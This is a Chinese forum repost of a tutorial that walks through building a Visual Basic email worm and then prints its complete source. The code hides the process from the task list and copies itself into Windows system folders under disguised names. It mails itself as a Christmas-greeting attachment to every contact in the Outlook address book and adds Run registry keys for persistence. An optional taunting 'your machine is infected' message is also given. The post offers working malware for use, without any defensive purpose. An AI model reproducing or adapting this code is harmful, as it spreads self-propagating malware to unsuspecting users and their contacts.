返回列表 发帖

[转载] VB蠕虫,连源码都被杀。。

打开Visual Basic,选择“Standard EXE”的Project。移除那个Form,然后加入一个Module。点击Project->;Project1 Properties。在弹出来的窗口中,把Startup Object改为“Sub Main”。在Module中,键入以下的编码:
  1. Sub Main()
  2. 'TaskVisible的功能是把程序在End Task表中除掉。
  3. App.TaskVisible = False
  4. End Sub

  5. 以上的编码只是把程序从End Task表中除掉,没什么作用。现在,让这个VB蠕虫自行复制去别的文件夹。在Sub Main中键入以下的编码:

  6. '阻止问题发生
  7. On Error Resume Next
  8. Dim Location, Location2, DesLocation, DesLocation2
  9. '得到EXE的位置
  10. Location = App.Path & "\" & App.EXEName & ".exe"
  11. Location2 = App.Path & App.EXEName & ".exe"

  12. '设定目的地
  13. DesLocation = "C:\WINDOWS\SYSTEM\WinMapi.exe"
  14. DesLocation2 = "C:\WINNT\SYSTEM\Mapi.exe"

  15. '开始复制自己
  16. FileCopy Location, DesLocation
  17. FileCopy Location2, DesLocation
  18. FileCopy Location, DesLocation2
  19. FileCopy Location2, DesLocation2

  20. 蠕虫自行复制的编码已完成。现在,让蠕虫电子邮寄自己出去吧!键入以下的编码:

  21. Dim Var1, FilePath, FileName, FullLocation, MyApp
  22. Dim Christmas, List, AddList, AddressListCount
  23. Dim Merry, AdEntries, Attachs, Msg
  24. Var1 = "True"
  25. FilePath = App.Path
  26. FileName = App.EXEName
  27. FullLocation = FilePath & "\" & FileName
  28. Set MyApp = CreateObject("Outlook.Application")
  29. If MyApp = "Outlook" Then
  30. Set Christmas = MyApp.GetNameSpace("mapi")
  31. Set List = Christmas.AddressLists
  32. For Each Addresslist In List
  33. If Addresslist.AddressEntries.Count <> 0 Then
  34. AddressListCount = Addresslist.AddressEntries.Count
  35. For AddList = 1 To AddressListCount
  36. Set Merry = MyApp.CreateItem(0)
  37. Set AdEntries = Addresslist.AddressEntries(AddList)
  38. Merry.To = AdEntries.Address
  39. Merry.Subject = "圣诞节快乐!!"
  40. Merry.Body = "圣诞节快乐!这是一个特别个你的圣诞节的礼物! _
  41.      过个快乐的圣诞节!"
  42. Set Attachs = Merry.Attachments
  43. Attachs.Add FullLocation
  44. If Var1 = "true" Then
  45. Merry.DeleteAfterSubmit = True
  46. If Msg.To <> "" Then
  47. Merry.send
  48. End If
  49. End If
  50. Next
  51. Beep
  52. End If
  53. Next
  54. End If

  55. 蠕虫电子邮寄自己的部分完成啦!现在,让视窗每次启动时都开启蠕虫。键入以下的编码:

  56. Dim Reg
  57. Set Reg = CreateObject("wscript.Shell")

  58. '把资料写入Registry
  59. Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ _
  60. Windows\CurrentVersion\Run\Mapi", _
  61. "C:\WINNT\SYSTEM\Mapi.exe"
  62. Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ _
  63. Windows\CurrentVersion\Run\WinMapi", _
  64. "C:\WINDOWS\SYSTEM\WinMapi.exe"

  65. 以下是VB蠕虫的完整编码:

  66. Sub Main()
  67. 'TaskVisible的功能是把程序在End Task表中除掉。
  68. App.TaskVisible = False
  69. '阻止问题发生
  70. On Error Resume Next
  71. Dim Location, Location2, DesLocation, DesLocation2
  72. '得到EXE的位置
  73. Location = App.Path & "\" & App.EXEName & ".exe"
  74. Location2 = App.Path & App.EXEName & ".exe"

  75. '设定目的地
  76. DesLocation = "C:\WINDOWS\SYSTEM\WinMapi.exe"
  77. DesLocation2 = "C:\WINNT\SYSTEM\Mapi.exe"

  78. '开始复制自己
  79. FileCopy Location, DesLocation
  80. FileCopy Location2, DesLocation
  81. FileCopy Location, DesLocation2
  82. FileCopy Location2, DesLocation2

  83. Dim Var1, FilePath, FileName, FullLocation, MyApp
  84. Dim Christmas, List, AddList, AddressListCount
  85. Dim Merry, AdEntries, Attachs, Msg
  86. Var1 = "True"
  87. FilePath = App.Path
  88. FileName = App.EXEName
  89. FullLocation = FilePath & "\" & FileName
  90. Set MyApp = CreateObject("Outlook.Application")
  91. If MyApp = "Outlook" Then
  92. Set Christmas = MyApp.GetNameSpace("mapi")
  93. Set List = Christmas.AddressLists
  94. For Each Addresslist In List
  95. If Addresslist.AddressEntries.Count <> 0 Then
  96. AddressListCount = Addresslist.AddressEntries.Count
  97. For AddList = 1 To AddressListCount
  98. Set Merry = MyApp.CreateItem(0)
  99. Set AdEntries = Addresslist.AddressEntries(AddList)
  100. Merry.To = AdEntries.Address
  101. Merry.Subject = "圣诞节快乐!!"
  102. Merry.Body = "圣诞节快乐!这是一个特别个你的圣诞节的礼物! _
  103.      过个快乐的圣诞节!"
  104. Set Attachs = Merry.Attachments
  105. Attachs.Add FullLocation
  106. If Var1 = "true" Then
  107. Merry.DeleteAfterSubmit = True
  108. If Msg.To <> "" Then
  109. Merry.send
  110. End If
  111. End If
  112. Next
  113. Beep
  114. End If
  115. Next
  116. End If

  117. Dim Reg
  118. Set Reg = CreateObject("wscript.Shell")

  119. '把资料写入Registry
  120. Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ _
  121. Windows\CurrentVersion\Run\Mapi", _
  122. "C:\WINNT\SYSTEM\Mapi.exe"
  123. Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ _
  124. Windows\CurrentVersion\Run\WinMapi", _
  125. "C:\WINDOWS\SYSTEM\WinMapi.exe"
  126. End Sub
复制代码
你也可以告诉被你蠕虫感染电脑的用户他们的机子被感染了。键入以下的编码:

MsgBox "哈哈!你的机子已被蠕虫感染了!",vbCritical,"蠕虫感染"
天行健,君子以自强不息
地势坤,君子以厚德载物
黑色海岸线欢迎您

QQ群:7212260
致力于探索WEB技术精髓:http://www.bitechcn.com
点这里加我!

返回列表 回复 发帖